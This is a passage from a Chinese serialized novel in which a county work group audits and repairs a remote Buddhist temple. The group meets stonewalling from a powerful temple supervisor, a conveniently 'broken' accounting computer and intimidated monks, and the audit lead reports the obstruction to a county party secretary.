“这次审计,完全符合规定!受县委**部直接委派!”
他将文件收回,目光似乎穿透了人群:“大家要安心。该念经念经,该作息作息,该吃斋饭就回斋堂去!”
“审计工作,查的是账目,对的是制度,不是针对在座的任何具体个人!”
第204章 追加多少?
“不是针对具体人……”东妙低垂的眼帘下,眼珠微微转动了一下。
这句刻意强调的话,恰恰如同投入深潭的石子,在他内心激起了微澜。
他的目光有意无意地扫过自己袖口上一个不易察觉的小小裂痕。
宣布完任务,谷庄话锋一转,那原本略显微扬、安抚性的语调迅速沉落下去,变得如同封冻的寒冰。
“不过,”谷庄的目光陡然锐利起来,如同两柄冰冷的锥子,缓缓扫过整个僧众队伍的每一张脸孔,“为了保证维修工程能够安全施工,更为了审计工作的顺畅开展。”
“从即日起,直到工作结束离开前,我宣布几条工作纪律!”
风好像更冷了。
谷庄身后的鄂建设从公文包里拿出一个小笔记本,准备记录。
林方政锐利的目光在人群中扫视着,尤其是后排那几个年轻僧人,他们的手指无意识地搓着僧袍边缘。
“第一,”谷庄的声音像铁钉砸进木头,“所有僧众,在修缮和审计期间,除必要功课及生活所需外,一律不得擅自离开僧寮、僧堂以及功课区域。”
“不得在工程区域或审计工作区域内四处走动、围观看热闹!发现违者,后果自负!”
他停顿了一下,让每一个字都沉沉地落在僧人们的意识里。
“第二,所有僧人,无论任何原因、任何事由,严禁私自下山!”
“如有极其特殊、非下山不可的原因,必须向我本人,”谷庄的手指重重地点向自己的胸口,“或者我明确指定的林方政、鄂建设同志当面提交书面申请,经严格审核、确认无误、并获得书面批准许可后,方能下山!”
“严禁未经批准、私自下山!”
“擅自行动者,一律视为干扰工作,严肃处理!”他刻意咬重了“严肃处理”四个字,每个音节都带着冰冷的重量。
“第三,”他略缓了口气,但接下来的内容依旧坚硬,“为保障寺院基本生活秩序不受干扰,期间所有僧众的米面粮油、蔬菜副食乃至必要日用品的补给,一律改由我工作组联络协调,由县里派出的统一专用车辆,定期定点送达!”
“寺院原有下山采买渠道,全部暂停!”
“僧众中任何人不得以任何方式与外部商贩私自接洽!”
“一经发现,即视为严重违规予以处理!”
谷庄的话如同一道道无形的铁栅栏,在空气中瞬间构筑起来,将这个孤立于山间的寺院围困得密不透风。
“所有纪律,即刻生效!”
“请大家务必理解,这是工作需要,更是保障安全、排除干扰的必要措施!”
谷庄的语气稍稍松动,“大家只要配合好,审计正常结束,维修顺利完成,一切恢复到过去!”
“我希望这期间,平平安安,无事发生!你们都清楚了吗?”
最后几个字,他陡然提高了音量,如同猛锤击磬。
短暂的、令人窒息的死寂。
唯有风声呜咽着钻过空荡的殿阁回廊。
前排的一个老僧抖抖索索、条件反射般下意识地回应:“阿弥陀佛……清楚了。”
这微弱的声音像是打破了某种魔咒。
东妙脸上肌肉扯动着,勉强开口打破沉默,声音有些沙哑:“谷组长……代表政府……也是为了我寺周全,我们……明白纪律,一定配合。”
他艰难地挤出这句话,又回头面向僧众,提高了声音:“都听清了?要配合!安守本分!”
那沙哑的声音带着强装的镇定,却也透出无法掩盖的疲惫与紧绷。
僧人们沉默地站着,绝大多数人如同泥塑木雕。
后排那几个年轻的和尚,眼神游移着扫过谷庄严肃的面容、东妙强作镇定的背影,最终躲闪开两名负责工作组安全干警鹰隼般的注视,低下头,视线聚焦在地下。
工作组如楔子般嵌入,清凉寺骤然被抽去了魂魄,陷入一种庞大而诡谲的静默里。
林方政甫一安顿,便带着施工人员一头扎进了需要修缮的区域。
土建工程师手中的卷尺如同精准的手术刀,在斑驳的柱础、朽坏的梁枋间反复丈量。
每一次拉伸、收缩都发出冰冷的金属摩擦声,在空寂的殿堂里清晰回响。
助手在旁飞快记录,笔尖划过纸张的沙沙声,竟成了这空间里唯一的活力。
林方政站在西配殿那几根承重柱前,眉头拧成了一个深刻的“川”字。
潮湿腐朽的气息混合着陈年香火味,顽固地钻进鼻腔。
工程师半跪在地上,粗糙的手指带着一种近乎粗暴的精准,用力抠挖着一根主柱的底部。
“嗤啦——”
一大块表面尚算完整、内里却早已糟朽不堪的木屑应声剥落,像一块溃烂的腐肉,无声地掉在积满灰尘的地面上。
木屑内部结构松散,布满了密密麻麻、如同被亿万细针蛀蚀过的孔洞,那是白蚁肆虐后留下的死亡印记。
工程师摊开手掌,掌心躺
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着那块朽木,指尖沾满了深褐色的粉末,他凑近闻了闻,脸色凝重得能滴出水来。
他忍不住抬头,声音压得极低,带着一种行家特有的忧虑,对身旁沉默的林方政说:“林局,这程度……真不是吓唬人。”
“您看这糟的,”他用指尖捻着那粉末,“从里往外烂透了,就跟被掏空了芯的萝卜一样。”
“光是在外面糊层泥、包层皮,做做表面加固,怕是顶不住。”
“这柱子吃着重呢,万一哪天……不堪设想啊。”
林方政没有立刻回应。
他的身影在昏暗的光线下显得格外沉凝。
他没有回头,只是缓缓伸出了右手,指关节弯曲,带着一种不容置疑的力量,重重叩击在那根柱体更深处的位置。
“咚…咚…咚…”
沉闷而空洞的回响,如同敲击在一个巨大的、腐朽的棺木上,声音在寂静的配殿里扩散开,带着令人心悸的余韵。
这声音比任何语言都更具说服力,它穿透了表面的木质,直指核心的腐朽。
林方政的眼神锐利如探针,仿佛能透过那斑驳的油漆和虫蛀的表皮,看到内部支撑结构的彻底崩坏。
“根系已朽。”他终于开口,声音不高,却字字如铁钉楔入木头,“表皮修补是自欺欺人。”
“必须挖开根基,彻底换新柱。”
“把烂根子都刨出来,换上结实的。”
工程师用力点头,脸上的皱纹都挤在了一起:“是的,林局,您说得对。”
“这种情况,吴教授在出发前就预料到了,他反复叮嘱过。”
“腹案我们都有,图纸也备着。”
“替换用的同规格老料子,也提前联系好了供应商,是深山老林里拆下来的老房梁,年份够,质地硬,防腐处理也到位,就是……”
他顿了顿,搓了搓沾满木屑的手,脸上露出为难的神色,“就是这成本,它实在压不下来啊。”
“追加多少?”林方政的心微微一凛,目光如电般射向他。
工程师伸出一根手指,又加了一根,声音更低:“得追加……十万。”
“林局,这真不是虚报。”
“那同型号的老料子,现在市面上稀缺得很,价格翻着跟头涨。”
“再加上挖开根基、安全支护、更换新柱,这人工费比常规维修翻倍都不止,而且都是技术活儿,慢工出细活,急不得。”
“十万元,已经是抠着算了,还得保证不出岔子。”
第205章 一切尽在不言中
十万?
这个数字在林方政脑中盘旋。
他深吸了一口带着霉味和朽木气息的空气,沉声道:“我知道了。”
“你按吴教授的腹案和最高标准准备,材料、人工都备足。”
“钱的事,我来解决。”他掏出手机,走到配殿外信号稍好的角落,拨通了江昭宁的电话。
电话那头的江昭宁,听完林方政简洁明了的汇报——柱子的危急状况、吴教授的预判、更换的必要性以及那十万块的追加预算——沉默了片刻。
这短暂的沉默,让林方政握着手机的手指微微收紧。
他能想象江昭宁在办公室踱步、权衡利弊的样子。
“唔……”江昭宁的声音终于传来,平静中带着一丝不容置疑的果断,“情况清楚了。钱不是问题,安全、质量是底线。”
“多花点钱,买个安心,买个长治久安,值得。”
“你告诉他们古建三队,放手干,但必须保证质量,必须给我换得扎扎实实,经得起时间和风雨的考验。”
江昭宁顿了顿,最后几个字压得极低,却像淬了冰的钢针,带着一种近乎冷酷的穿透力,清晰地传入林方政耳中,“否则……就不是钱的问题了。”
林方政后背瞬间挺得笔直,仿佛有一股寒气从尾椎骨窜上来。
他立刻对着手机,声音洪亮而坚定地回答:“是!江**!我明白!”
“保证完成任务!质量绝对第一!”
施工的指令迅速下达。
重型工具被小心翼翼地运进西配殿,经验丰富的新老师傅们开始搭设复杂的支护架。
电锯的尖啸、撬棍与朽木的搏斗声、工人们短促有力的指令声,很快取代了之前的死寂,弥漫在西配殿周围。
按照常理,作为负责协调的领导,此刻林方政完全可以暂时退居幕后,监督一下进度即可,甚至能稍作喘息。
然而,他眼中那锐利如探照灯般的光芒,并未因施工的启动而熄灭,反而燃烧得更加炽烈。
维修是明线,是政府关怀的体现。
而另一条线,那潜藏在平静水面下的暗流,才是他此行更深的使命。
他没有回到寺院为他安排的临时休息处,而是像一头经验丰富的猎豹,悄无声息地再次融入了清凉寺的各个角落。
林方政的脚步沉稳而轻捷,目光扫过之处,不放过任何一丝不寻常的痕迹。
在大雄宝殿后方,一片明显新近被翻动过的泥地引起了他的高度警觉。
那里的泥土颜色深褐、颗粒松散,与周围板结发黑、长着稀疏杂草的老土形成刺眼的对比。
他掏出手机,打开摄像功能,绕着那片区域缓步移动。
他蹲下,镜头贴近地面,捕捉翻土的细节。
他站起,后退几步,将这片区域与周围环境的关系纳入画面。
他甚至调整角度,让下午略显倾斜的阳光清晰地勾勒出翻动泥土的边界和纹理。
不同角度,不同光线,力求还原每一个可疑的细节。
行至库房外墙根处,他的脚步再次停下。
那里,一片浓密的青苔覆盖着墙基。
然而,就在青苔的边缘,一道极细微的、几乎与苔色融为一体的深色污渍,还是没能逃过他鹰隼般的眼睛。
那颜色更深,更沉,带着一种不祥的质感。
他毫不犹豫地举起手机,拉近镜头,对着那道污渍连续按下快门。
微距模式下,青苔的绒毛和污渍的细节纤毫毕现。
他甚至还用指尖轻轻刮了一点污渍边缘的附着物,凑近鼻端闻了闻,眉头皱得更深。
最后,他踱步到了那片曾悬挂着“万国旗”般女式内衣、如今只剩光秃秃竹竿的晾晒场。
目光如同精密的扫描仪,一寸寸扫过地面。
在几块碎石和枯叶之间,几枚散落的烟蒂和一个被踩得扁扁的廉价塑料口红壳,如同肮脏的疮疤,暴露在视野中。
烟蒂的牌子很普通,但过滤嘴的咬痕和残留的唾液痕迹清晰可见。
那口红壳是刺目的粉红色,塑料外壳,盖子脱落在一旁,里面残余的一小截膏体呈现出一种俗艳的玫红。
这绝不是僧侣该有的物品。<
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br>林方政蹲下身,屏住呼吸,再次用手机镜头,将它们一一清晰地记录下来。
就在他刚收起手机,准备起身时,眼角的余光瞥见了不远处回廊的拐角。
鄂建设的身影一闪而过,他显然也刚从某个角落“工作”完出来。
两人的目光在空中短暂地、极其隐蔽地交汇了一瞬。
没有言语,没有任何多余的动作,仅仅是鄂建设的眼睛,对着林方政的方向,极其轻微、几乎无法察觉地点了一下头。
林方政也以几乎同样的幅度,下颌微不可查地向下一点。
一切尽在不言中。
无声的默契如同电流般瞬间传递。
他们都看到了,都记录了,都嗅到了这座看似被彻底“净化”的寺庙深处,那挥之不去的、令人不安的异样气息。
这静得发慌的清凉寺,每一寸看似寻常的土地下,似乎都隐藏着等待被挖掘的秘密。
谷庄则稳坐于临时征用的知客寮。
这里成了工作组的中枢。
桌面上,摊开着一本本厚重的账册,纸张因年代久远而泛黄发脆,散发出陈腐的霉味和浓烈的香火气息混合的怪味。
两名审计人员埋首其中,计算器按键的“滴滴”声、纸张翻动的“哗啦”声,是这房间里唯一单调的乐章。
谷庄并不亲自查账。
他只是坐着,指间夹着一支未点燃的烟,目光如沉静的深潭,缓缓扫过窗外那片死水般的庭院。
他的沉默,本身就是一种无声的质询,一种无形的威压,笼罩着整座清凉寺。
暮色四合,最后的天光被群山吞噬。
寺内各处电灯次第亮起。
昏黄的光晕在浓重的夜色里显得微弱而勉强,非但未能驱散黑暗,反而衬得殿宇飞檐的轮廓更加狰狞怪异。
白日里那令人窒息的寂静,此刻仿佛有了实质的重量,沉甸甸地压迫着每一寸空间。
它不再仅仅是声音的缺失,更是一种巨大的、无形的存在。
填满了每一个角落。
渗入每一道砖缝,浸润每一片瓦当。
第206章 请打开电脑
谷庄踏入寺庙财务室门槛时,檀香的气息浓得几乎凝滞,混合着陈年纸张特有的微尘气味,沉甸甸地压在空气里。
窗外飘来僧众们早课诵经的悠长声调,木鱼敲击的节奏空洞而规律,却丝毫没能渗透进这间紧闭的屋子。
惨白的光线落在对面小沙弥光洁的头顶和低垂的眼睫上,也落在那台摆在角落、此刻黑沉死寂的电脑主机上,像一具被遗弃的金属棺椁。
“请打开电脑,我们要核对一下近期的收支明细。”
谷庄的声音尽量平稳,打破沉寂。
他的目光扫过沙弥微颤的手指,那双手正紧张地捻着灰色僧袍的下摆。
年轻的财务沙弥法号广净,闻言猛地抬起头,脸上血色瞬间褪去,如同被惊飞的鸽子。
他喉结艰难地滚动了一下,声音像生了锈的合页:“真……真对不起……谷组长,电脑……它不巧坏了。”
“开不了机!”广净的声音骤然拔高,带着一种近乎绝望的确认,随即又猛地低下去,仿佛被自己的音量吓到。
“什么?”谷庄的眉峰瞬间锁紧,那点刻意维持的平和被这个意外彻底击碎。
他向前一步,目光锐利地钉在广净脸上,又缓缓移向那台无声无息的机器,“有这事?”
“是……是的。”广净避开了他的视线,重新低下头,盯着自己洗得发白的僧鞋鞋尖,脸上努力维持着一种近乎僵硬的平静,近乎面具。
谷庄的心往下沉了沉。
他走近那张旧办公桌,手指拂过冰冷的电脑机箱外壳,指尖立刻沾上一层不易察觉的薄灰。
他屈起指节,在机箱侧板一处明显新刮出的、泛着金属底色的浅痕上轻轻敲了敲。
“广净师傅,”他声音低沉下来,带着不容置疑的探寻,“这机器,是暴力损坏?还是自然原因?”
“这个?”广净像是被烫了一下,身体不易察觉地后缩,语速骤然加快,话语却如同缠结的线团,“这……这是自然原因!”
“电脑是耗材,用久了,内部零件……会老化,要更新才是!”他急切地重复着,像是背诵一段刚刚被灌输的经文,眼神却慌乱地瞟向门口方向。
“老化?”谷庄捕捉到他目光的闪烁,语气越发冷峻,“那为什么不及时提出更换?”
“山下就有电脑城,我立刻可以安排人去购买所需零件,不会耽误太久。”他紧盯着广净,不放过对方一丝一毫的表情变化。
“这个?”广净的额角渗出细密的汗珠,在日光下闪着微光。
他支支吾吾,双手下意识地搓着衣角,“不是……不是我说了算。”
“我只能反映情况。”
“不是你说了算?”谷庄重复着这句话,字字清晰。
霎时间,如同拨开浓雾,他蓦地明白了——这绝非一次简单的设备故障。
这台冰冷的机器,已然成了一枚棋子,一枚被一只看不见的手提前挪动、用以阻挡审计视线的棋子。
而眼前这个局促不安的年轻沙弥,不过是个被推到前台的牵线木偶。
一股冰冷的愤怒与深重的无力感交织着,沿着他的脊椎爬升。
他深吸一口气,强行压下翻涌的情绪。
再多追问也是徒劳,只会让这个可怜的小沙弥更加难堪,更可能打草惊蛇。
他决定退而求其次。
谷庄脸上紧绷的线条似乎缓和了那么一丝,仿佛真的被这个理由说服了。“既然这样,那只能等电脑修好再说了。”
他摆摆手,语气带着一种刻意表现的无奈,“广净师傅,打扰了。”
“我先去别处看看。”
走出财务室那扇沉重的木门,隔绝了里面令人窒息的空气,谷庄才感到胸腔里憋闷的气息得以喘息。
早上的太阳金辉泼洒在古刹飞檐斗拱之上,庄严恢弘,然而这佛光普照之下,却仿佛蛰伏着难以言喻的阴影。
他沿着回廊缓缓踱步,目光扫过庭院中步履沉稳的僧人。
他需要信息,需要从这些看似与世无争的僧侣口中,撬开一条缝隙。
他首先在藏经阁门口“偶遇”了管理经书的知客僧明海。
明海约莫五十岁上下,面容清癯,眼神沉静。
“明海师傅,近来寺里香火还行吧?”谷庄闲聊般开口,目光落在明海整理经卷的修长手指上。
明海手上动作丝毫未停,连眼皮都未曾抬起,声音平缓无波,如同诵读经文:“阿弥陀佛,佛光普照,信众虔诚,皆是因缘,皆是福德。”
滴水不漏,无懈可击。
谷庄又绕到后厨前坪,运送菜蔬及生活物资的皮卡车来了。
帮忙搬运蔬菜的僧值慧能正值壮年,臂膀粗壮有力。
谷庄一边搭手搬起一筐萝卜,一边状似随意地问:“听说咱们寺里开支也大了?”
“特别是后勤物资这块?”
慧能憨厚地笑了笑,抹了把额头的汗:“谷组长说的是。如今山下物价飞涨,米面油盐都不便宜。”
“不过监院交代过,僧众修行,一粥一饭当思来处不易,要节俭惜福。”
他回答得朴实自然,却巧妙地避开了任何具体的支出指向。
在香积厨里,谷庄一边帮着择菜,一边貌似不经意地询问日常米面油盐的采买账目。
客堂知客僧那里,他则客气地请求查看来访登记簿,顺带聊聊住宿费用结算的情况。
语气始终谦和,态度无可指摘。
然而回应的,却是无处不在的沉默壁垒。
那些平日里或慈眉善目、或庄重沉凝的脸庞,但凡触及账目、开支这些字眼,瞬间就会凝滞、冻结。
浑浊的眼神会猛地变得警惕,闪烁其词的话语如蛛丝般飘忽不定:“哎呀,这个……贫僧只负责看护,具体用度……怕是东妙监院那里才说得清。”
“采买?老衲只管吃斋念佛,俗务不扰心。”
“费用?施主看这大殿气派,便知佛法庄严,些许香火供养是信众功德,何必纠缠呢?”
每一句看似圆融的回答背后,都矗立着一堵无形的墙,坚硬而冰冷。
谷庄感觉自己仿佛跋涉在深不见底的沼泽中,泥浆黏腻湿冷。
无论朝哪个方向挪动。
都无法摆脱那令人窒息的沉重下陷感。
谷庄不死心,来到斋堂。
他特意坐到几位看起来较年长、面相也更沉稳,正在用素斋的老僧旁边。
他言语间流露出些许工作推进不顺的困扰,希望能得到一些“过来人”的点拨。
一位眉毛花白的老僧放下筷子,双手合十,慢悠悠地道:“谷施主,世间事,纷繁复杂,犹如镜花水月。”
“执着于表象,徒增烦恼。”
“该见时自然得见,该明时自然得明。”
“强求不得,强求不得啊。”言语间充满禅机,却空无一物。
另一位老僧则干脆闭目,低声念起佛号,仿佛谷庄的话只是一阵穿堂而过的微风。
所有的试探都如同泥牛入海。
第207章 举步维艰
僧侣们要么用精妙的佛理将话题推挡得干干净净,要么以沉默应对,仿佛对“财务”二字天然绝缘。
他们的表情在佛殿的幽暗光线下,显得格外模糊而疏离。
一种无形的、冰冷的屏障,严密地笼罩在谷庄周围,将他与真相彻底隔绝。
他像是一个闯入精密仪器的异物,每一步都触发着无声的警报,每一步都踩在预设的警戒线上。
谷庄独自一人站在大雄宝殿外空旷的广场上,高大的殿宇投下浓重的阴影,将他完全吞没。
凉意顺着石板的缝隙爬上来,浸透鞋底。
东妙监院——这座千年古刹如今真正的主宰者。
他的影响力,早已无声无息地渗透到寺庙的每一块砖石、每一片树叶、每一个僧侣低垂的眼睑之下。
有他在,他这座无形的须弥山稳稳地矗立在那里,工作组想翻越过去,简直是痴人说梦。
举步维艰?
不,是寸步难行。
他又去找了慧明、明觉法师,两人除了躲闪,没有别的,结果也是一无所获。
一种深切的无力感,混合着被愚弄的愤怒,在谷庄胸腔里无声地燃烧。
他想起广净那句带着惊恐尾音的“开不了机”,想起明海低垂的眼睑,想起老僧玄之又玄的“镜花水月”。
这哪里是清修之地,分明是一个精心构筑的堡垒。
工作组驻地是寺院边缘几间闲置的老禅房,原本僧人们堆放杂物的,匆匆腾空打扫了一下。
谷庄回到了自己的住处。
屋里陈设极简,一张破旧的八仙桌,两张板凳,墙面斑驳。
只有高处残留着不知什么年头留下的烟熏火燎的陈旧痕迹。
墙角堆着些审计资料,空气里弥漫着旧木头和淡淡香灰混合的气息,沉甸甸地压着人。
上午财务室的碰壁,广净那惊恐又欲言又止的眼神,还有僧侣们滴水不漏的沉默,慧明、明觉法师的躲闪。
都像无形的铅块坠在他心头。
每一步试探,都撞在一堵无形却坚韧的墙上,那墙的名字,叫东妙。
他疲惫地坐到吱呀作响的旧木椅上,手指无意识地敲着桌面,指节因上午的压抑而微微发白。
就在这时,门被轻轻叩响。
一个面庞稚嫩的小沙弥端着托盘进来,垂着眼睑,动作拘谨。“谷组长,您的午饭。”
声音轻得像怕惊扰了什么。
托盘放下,一股混合的香气立刻弥漫开来。
谷庄的目光扫过饭菜,最后钉在少年僧低垂的眉眼上。
谷庄的目光扫过——清炒时蔬碧绿鲜亮。
一碟金黄喷香的炒鸡蛋。
旁边竟赫然摆着一小碗油光红亮的红烧肉。
还有一小钵热气腾腾的冬瓜排骨汤。
红亮诱人的回锅肉堆砌在盘中,酱赤诱人,肉片切得薄而透,煸炒出的肥肉边缘微卷。
一看便知火候到了极致。
骨汤的浓香直往人鼻子里钻,汤面漂浮着几颗金黄色的油星。
还有一碗热气腾腾的白米饭。
这丰盛得近乎突兀,与这清修之地的氛围格格不入。
谷庄的眉头不易察觉地蹙紧。
他抬眼看向小沙弥,声音里带着一丝不易察觉的锐利:“小师傅,这是……你们僧厨炒的?”
小沙弥的头垂得更低了。
他的手指紧张地抠着托盘边缘,声音细若蚊蚋:“是……是的。”
“一口锅里炒出的菜?”谷庄拿起一双看上去洗得很干净、但顶端明显带有磨损痕迹的竹筷,指尖在那光滑得过了头的筷身上无意识地摩挲着。
谷庄的目光落在那碗红烧肉上,又移向那一小钵热气腾腾的冬瓜排骨汤。
他问得慢条斯理,眼光却像锥子,牢牢钉住对方,“这可有荤腥呀,出家人不是沾不得荤腥、油腥吗?”
“这锅,怎么共用?”他的语调平缓,却字字如针。
小沙弥的脸瞬间涨红了,像是被戳穿了什么隐秘,慌乱地摆手:“不!不!不是的!”
他急急辩解,语无伦次,“给您们……炒好后,我们……我们是要把锅刷得干干净净!”
“用碱水,用丝瓜络,刷很多遍!”
“一点荤腥、油腥都不会沾上的!真的!”
他急切地重复着“干净”两个字,眼神却慌乱地飘忽着,不敢与谷庄对视,额角渗出细密的汗珠。
这解释像排练过无数次,却又透着心虚的苍白。
谷庄没再追问。
他沉默地看着小沙弥,那慌乱和急于撇清的神情,像一面镜子,映照出这古刹清规戒律之下扭曲的潜流。
一口锅,分出了两个世界——工作组碗里的荤腥,僧侣口中的素净?
可能吗?
他移开目光,只淡淡说了句:“知道了,辛苦。”
小沙弥如蒙大赦,几乎是逃也似地退了出去,轻轻带上了门。
门轴转动的细微声响,在突然寂静下来的房间里格外清晰。
谷庄拿起筷子,木质的筷身冰凉。
他没有立刻去碰那碗诱人的红烧肉,而是夹起一筷子青菜,机械地送入口中。
青菜炒得火候刚好,清脆爽口。
可嚼在嘴里,却莫名尝出一种异样的滋味,混合着方才小沙弥话语里的慌乱和这屋内挥之不去的香灰气。
他慢慢地吃着,咀嚼的声音在空旷的房间里显得异常沉闷。
那碗红烧肉始终放在那里,油亮的酱汁渐渐凝住,像一只沉默而怪异的眼睛,冷冷地注视着一切。
吃完饭,胃里沉甸甸的,心却更空落。
他推开碗,站起了身。
他想与林方政、鄂建设碰一下头,可是他们现在在修缮现场,中午没有回来。
谷庄踱到窗边,推开半扇木窗。
远处,大雄宝殿的金顶庄严神圣,闪耀着光芒。
可这光芒之下,是广净的恐惧,是明海、慧能的滴水不漏。
是老僧玄乎其玄的“镜花水月”,是慧明、明觉法师的躲闪。
是眼前这顿荤素混杂、界限不分的午餐。
一股强烈的无力感和被愚弄的愤怒,像藤蔓一样缠绕住他的心脏,越收越紧。
他拿出手机,手指有些僵硬地拨通了那个重要的号码。
听筒里传来线路接通时特有的嗡鸣声,一下,两下……
这短暂的等待间隙里,上午财务室广净苍白的脸、小沙弥慌乱解释锅具的模样、僧侣们避之不及的沉默。
如同走马灯般在谷庄眼前晃动。
电话通了,那边传来江昭宁沉稳、带着一点空旷回音的声音:“喂?”背景里似乎有翻动纸张的细微声响,像是在办公空间。
“江书记,是我,谷庄。”谷庄的声音一出口,自己都惊了一下,带着一种焦虑和压抑打磨出的、撕裂般的沙哑,像粗糙的砂纸摩擦着喉咙。
“嗯,谷局,情况怎么样?”江昭宁的声音依旧平稳,听不出太多情绪。
第208章 还要多久?
谷庄深吸一口气,仿佛要汲取一点力量,才艰难地开口:“江书记,我们现在在这儿……处处受到掣肘。”
他停顿了一下,组织着语言,每一个字都像从泥泞中拔出,“进入电子账务系统查账,根本无从下手。”
“电脑‘坏’了,而且这‘坏’,坏得恰到好处,坏得不容置疑。”
他语速加快,积压的郁结倾泻而出:“东妙监院在这里的势力,根深蒂固,根本没有因为工作组的到来而瓦解!”
“僧众们……没有人敢接近我们工作组。”
“跟他们说话,就像在跟影子交谈。”
“他们要么沉默,要么说些云山雾罩、不着边际的话。”
“想要从他们口中得到一点有用的信息?难如登天!”他的声音因为激动而微微发颤。
“江书记,我上次跟您提过的……慧明法师……”谷庄的声音低沉下去,带着一种痛惜,“您还记得吗?”
“他一向清正耿直,眼睛里揉不得沙子。”
“就因为几次在内部会议上,坚决反对将后山那片清幽的静修竹林改建成什么‘禅意精品度假客房’,说那是亵渎佛门清净地……结果呢?”
谷庄的呼吸变得粗重,“东妙当场就指责他对‘护持佛法、广结善缘的贵客’大不敬,态度倨傲!”
“没多久,慧明法师就被调离了禅堂核心,打发去……管菜园子了!”
谷庄眼前仿佛浮现出慧明那双曾经清澈、如今可能已染上泥土和疲惫的眼睛。
那双曾经敢于直视东妙、现在却只能低头侍弄菜蔬的手。
“我这次去找他,”谷庄的声音里充满了苦涩,“他远远看见我,就像见了瘟神,隔着菜畦就摆手,话都没让我说一句,转身就钻进他那间看菜的小棚子里去了……”
“他是怕啊!怕东妙的报复!”
“他现在毕竟还没被彻底撸了,他还有最后一点念想,一点微末的立足之地,他不敢赌,也赌不起!”
听筒那边是短暂的沉默,只有微弱的电流声。
谷庄用力抹了一把脸,似乎想把那份沉重抹去,继续道:“……还有明觉法师……”
这个名字的吐出,带着更深的寒意,“他曾经是寺里管过库房的老法师,对账目最是清楚。”
“他对东妙经手的几笔巨额香火钱去向,公开表示过疑虑。”
“那钱,说是要翻修藏经阁,可藏经阁修了几年,还是老样子!”
“明觉法师私下跟我暗示过,说那几笔账,‘按规矩该好好捋一捋’……”
谷庄的声音压得更低,仿佛怕被无形的耳朵听了去:“结果呢?没过多久,寺里突然来了几个外寺挂单的和尚,一口咬定亲眼看见明觉法师私藏了几卷珍贵的宋代手抄经书和两尊鎏金小佛像!”
“虽然……后来寺里组织人查了明觉法师的住处,翻了个底朝天,什么也没找到,查无实据……”
谷庄冷笑了一声,那笑声干涩而凄凉,“可这事闹得沸沸扬扬!”
“明觉法师自己受不了这份污名和猜忌,主动提出……要去后山闭关清修,参悟佛法……”
“从那以后,禅堂的事务会议,就再也没见过他的影子了。”
“我刚才抱着最后一丝希望,绕到后山他清修的那间偏僻石屋外,”谷庄的声音带着一种近乎绝望的疲惫,“我在门外站了很久,低声说了我的来意,里面……一点声音都没有。”
“只有山风吹过石缝的呜咽……他选择了彻底的沉默。”
“彻底的避世。”
说到最后,谷庄的声音已经低得几乎听不清,只剩下粗重的喘息。
压抑和挫败,让这个素来沉稳的男人也显露出深深的倦怠。
他停顿了很久,像是在积蓄最后一点力气,然后,带着一种近乎孤注一掷的决然,对着话筒说道:“江书记,这样下去不行!”
“新的方丈不来,东妙一天不停职,我们工作组在这里就永远是个摆设!”
“查账?查什么账?”
“给我们的是明账,也就是他们有所谓的‘阴阳账’,我连真正账本的影子都摸不到!”
“所有的线头都被他死死攥在手里!”
“我们面对的……不是一台坏了的电脑,不是一个不敢说话的沙弥,是盘踞在这里几早已渗透进骨髓的一张网!”
“是东妙一手遮天的权势!这阻力……太大了!”
“大到让人窒息!”
电话那头,江昭宁的沉默比刚才更久了一些。
谷庄甚至能想象出他此刻可能微微蹙起的眉头,手指轻轻敲击桌面的动作。
终于,那沉稳的声音再次响起,依旧是不疾不徐的语调:“谷局啊,你的心情我理解。困难是存在的。”
“方丈的任命,流程卡在市里了。”
“按县委的决定,市佛协按你们县宗教局的要求提了名,但市宗教局那边还在审核材料、讨论人选资质、完善备案手续……方方面面都要兼顾考量。”
“程序就是程序,一步绕不开,急不来。”
“还要多久?”谷庄追问,声音里带着急切。
时间,是他此刻最耗不起的东西。
“快了。”江昭宁给出了一个模糊却又带着安抚意味的承诺,“我会再亲自去催促一下。”
“市里的同志也明白事情的重要性。”他话锋一转,语气变得明确而带有指令性,“至于查账这一块……既然暂时打不开局面,那就先缓一缓吧。”
谷庄的心猛地一沉,几乎要脱口而出“那怎么办?”但他忍住了,屏息听着。
“你们工作组,”江昭宁的声音清晰而稳定地传来,“把主要精力,先集中到寺庙的修缮工作上去。”
“殿宇,甚至僧舍、围墙、道路……这些看得见摸得着的地方,该修的要修,该补的要补。”
“钱不够再加点儿也无妨!”
“这也是我们工作组职责所在,为寺庙解决实际困难嘛。把这项工作先扎扎实实做好。”
“清凉寺在东山这一盘棋局上要派上大用场的。”
谷庄握着听筒的手紧了紧。
从激烈的查账诉求,突然转向看似平和的修缮工作?
这巨大的落差让他一时有些茫然。
但他毕竟在体制内浸淫多年,江昭宁话语里那微妙的重音——“看得见摸得着”、“解决实际困难”、“先扎扎实实做好”——像几颗投入心湖的石子,激起了涟漪。
一个模糊的念头在疲惫的思绪中闪过:修缮……工程……资金流动……账目?
派上大用场?
“好!”谷庄几乎是下意识地、斩钉截铁地应道。
这一个字,吐得异常清晰有力,仿佛用尽了他此刻所有的决心。
他挺直了背脊,眼神里那层浓厚的阴霾似乎被撕开了一道缝隙,透进一丝微弱却锐利的光。
查账的路被堵死,那就从修缮的工地上,重新凿开一道缝隙!
那碗凝住的红烧肉、那台沉默的电脑、那些讳莫如深的僧侣……所有的线索,仿佛都因江昭宁这句话,被赋予了新的指向。
修缮?
这是避免与东妙产生直接冲突的最好方式,也可以麻痹他,等待新方丈的到来。
那时才是揭盖子的时候!
第209章 干活!
午后来了一场小雨,空气中弥漫着泥土被浸润又被阳光翻开的土腥味和青草气息。
远处鸟鸣声清脆,空山新雨,本该是空山古刹该有的宁静光景。
然而,此刻钟声沉寂的寺内,修缮工地的轰鸣粗暴打破了这份静谧。
电锯锐利的嘶鸣、铁锤狠狠砸向朽木的闷响。
还有工人之间粗粝的叫嚷声,交织在一起。
形成了一道嘈杂的声墙,撞击在古老的殿宇残骸之上。
高高的脚手架已经搭起,像巨兽的铁骨,将大殿部分围在其中。
刺眼的蓝色防尘布从上至下悬挂覆盖了大半面墙,隔绝了内里剥落的彩绘与裂痕,只投下浓重的影翳。
谷庄大步跨进这片忙碌之中,崭新的皮鞋立刻被浑浊的泥水沾污了鞋面。
他眉头微微蹙起,目光迅速扫过全场。
工作组副组长鄂建设正站在东侧回廊下,挥舞着施工图纸,指指点点,声音比那电锯的噪音还要锐利几分:“……这里!看到了没有!这榫卯都快朽穿了,偷工减料!”
“必须换,整根换!赶紧给我换!”
他脖子上青筋暴起,对着眼前一个战战兢兢的工人指认着一根开裂严重的檐柱,唾沫星子几乎喷到对方脸上。
